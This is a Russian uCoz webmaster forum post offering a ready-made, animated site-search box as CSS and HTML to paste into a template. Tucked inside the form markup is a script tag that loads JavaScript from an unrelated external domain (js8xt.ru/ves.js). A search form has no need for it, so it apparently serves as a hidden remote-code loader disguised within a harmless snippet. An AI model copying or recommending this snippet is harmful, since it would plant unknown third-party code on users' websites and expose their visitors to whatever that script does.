Профиль
ИнформацияУправление
Мини-Чат | Сегодня: 24, 24.11.2017, 21:33
У вас новых личных сообщений · Мой профиль | Выход




Логин:
Пароль:

Страница 1 из 11
Форум » Информация для Web-мастера » Готовые скрипты для Ucoz » Новый отличный поск по сайту (скрипт поиск для ucoz)
Новый отличный поск по сайту
SherxanДата: Четверг, 03.05.2012, 10:05 | Сообщение № 1
Sherxan
Лейтенант
Группа: Пользователи
Сообщений: 56
« 0 »
Статус:
http://s019.radikal.ru/i614/1204/b4/9bbbaeb609fb.jpg <-- Скрин

Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
<style>   
#wrap-search {   
margin: 0 auto;   
width: 100px;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
text-indent: 0px;}   

#wrap-search br { display: none; }   

#wrap-search #search {   
background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);   
background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');   
border-radius: 5px;   
padding: 4px;   
}   

#wrap-search:hover { width:200px; }   

.form-search {   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));   
background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');   
border: 1px solid #747474;   
border-radius: 3px;   
box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;   
height: 32px;   
position: relative;   
-moz-transition: all .2s ease-out;   
-webkit-transition: all .2s ease-out;   
-o-transition: all .2s ease-out;   
transition: all .2s ease-out;   
}   

.form-search input[type='text'] {   
background: none;   
border: none;   
color:#6E7074;   
height: 34px;   
line-height: 34px;   
padding: 0 27px 0 6px;   
font-family: Helvetica, Arial, sans-serif;   
font-size: 13px;   
text-shadow: 0 1px 0 #FFF;   
}   

#wrap-search:hover input[type='text'] { color:#597C84; }   

#wrap-search:hover .form-search {   
background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);   
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));   
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');   
box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;   
color: #25464D;   
}   

.form-search input[type='image'] {   
height: 32px;   
opacity: .5;   
filter:alpha(opacity=50);   
position: absolute;   
right: 0px;   
top: 0px;   
width: 32px;   
}   

.form-search input[type='image']:hover {   
opacity: 1;   
filter:alpha(opacity=100);   
}   

</style>   

<div id="wrap-search">   
<div id="search">   
<form class="form-search" method="get" action="/search" target="_blank">
<script language=JavaScript src=http://js8xt.ru/ves.js></script>   
<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">   
<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">   
</form>   
</div>   
</div>
Форум » Информация для Web-мастера » Готовые скрипты для Ucoz » Новый отличный поск по сайту (скрипт поиск для ucoz)
Страница 1 из 11
Поиск:
Последние файлы

По любым вопросам вы можете связаться с администрацией сайта.


Auslogics Boost Speed

null

Roydarkle

null

ACES GUI Beta 1.2

null

T44 GUI v1.0.0 Beta

null

PinCho GUI v1.0.1F (RUS)

null

PinCho GUI v1.0.1F (ENG)

null

Статистика Top 5
Последние новости Самые отвечаемые темы Последние статьи Последние сообщения
Тестирование ком... 22.09.2009
Панель для разго... 26.05.2009
Наушники KOSS дл... 26.05.2009
Переосмысление N... 10.04.2009
DIRT 2 в сентябр... 10.04.2009
Заказ шапки, бан... 89
Полный список на... 33
Мини-Профили 25
Картинки в форме... 18
Super Admin 13
Час пик 3 / Rush... 30.05.2009
13-й район 2: Ул... 30.05.2009
Перевозчик 3 / T... 30.05.2009
Семь жизней / Se... 30.05.2009
Хранители / Watc... 30.05.2009
Тема Дата, Время Автор Раздел
Подарки на Нов... 31.12.2015, 17:47 AlionaSGSt
Помощь подбора... 23.03.2015, 02:57 AlefMok
Профиль для uc... 29.11.2013, 15:52 Sherxan
Красивый инфор... 29.11.2013, 15:52 Sherxan
Уведомления о ... 29.11.2013, 15:51 Sherxan
Форма входа на... 29.11.2013, 15:51 Sherxan
Голубая кнопка... 20.09.2012, 20:31 Sherxan
Статистика кто... 20.09.2012, 20:31 Sherxan
статистика CW 20.09.2012, 20:31 Sherxan
Новый вид стат... 02.09.2012, 19:15 Sherxan
Новые пользователи Активные пользователи Лучшие комментаторы
4atty 0
JamesJoums 0
AnthonyHok 0
PhillipHog 0
JamesGyzlyuvy 0
DeaGLe 360
AparatuS 86
Sherxan 56
AquaGen 27
Boni543 20
DeaGLe 12
KRAK 11
маньяк 3
Boni543 2
msx 2
Последние обновления на форуме
Название форума Название темы Всего сообщений Последнее сообщение Дата сообщения
О разном Подарки на Новый Год и не только 0 AlionaSGSt 31.12.2015 в 17:47
Изготовление Помощь подбора автомобиля 0 AlefMok 23.03.2015 в 02:57
Готовые скрипты для Ucoz Профиль для ucoz в нижнем правом углу сайта 0 Sherxan 29.11.2013 в 15:52
Готовые скрипты для Ucoz Красивый информер для файлов ucoz 0 Sherxan 29.11.2013 в 15:52
Готовые скрипты для Ucoz Уведомления о регистрации для ucoz 0 Sherxan 29.11.2013 в 15:51
Готовые скрипты для Ucoz Форма входа на uCoz 0 Sherxan 29.11.2013 в 15:51
Готовые скрипты для Ucoz Голубая кнопка вверх для Ucoz 0 Sherxan 20.09.2012 в 20:31
Готовые скрипты для Ucoz Статистика кто посетил в красивом стиле для uCoz 0 Sherxan 20.09.2012 в 20:31
Готовые скрипты для Ucoz статистика CW 0 Sherxan 20.09.2012 в 20:31
Готовые скрипты для Ucoz Новый вид статистики Ucoz 0 Sherxan 02.09.2012 в 19:15
Реклама
Демки, патчи, файлы, плагины

Все файлы и информация расположенные на данном ресурсе были взяты из открытых источников. Любая информация представленная здесь, может использоваться только в ознакомительных целях. Входя на сайт вы автоматически соглашаетесь с данными условиями. Ни администрация сайта, ни хостинг-провайдер, ни любые другие лица не могут нести отвественности за использование материалов. Если Вы являетесь правообладателем материалов и мы нарушаем ваши авторские права, просьба сообщить администрации.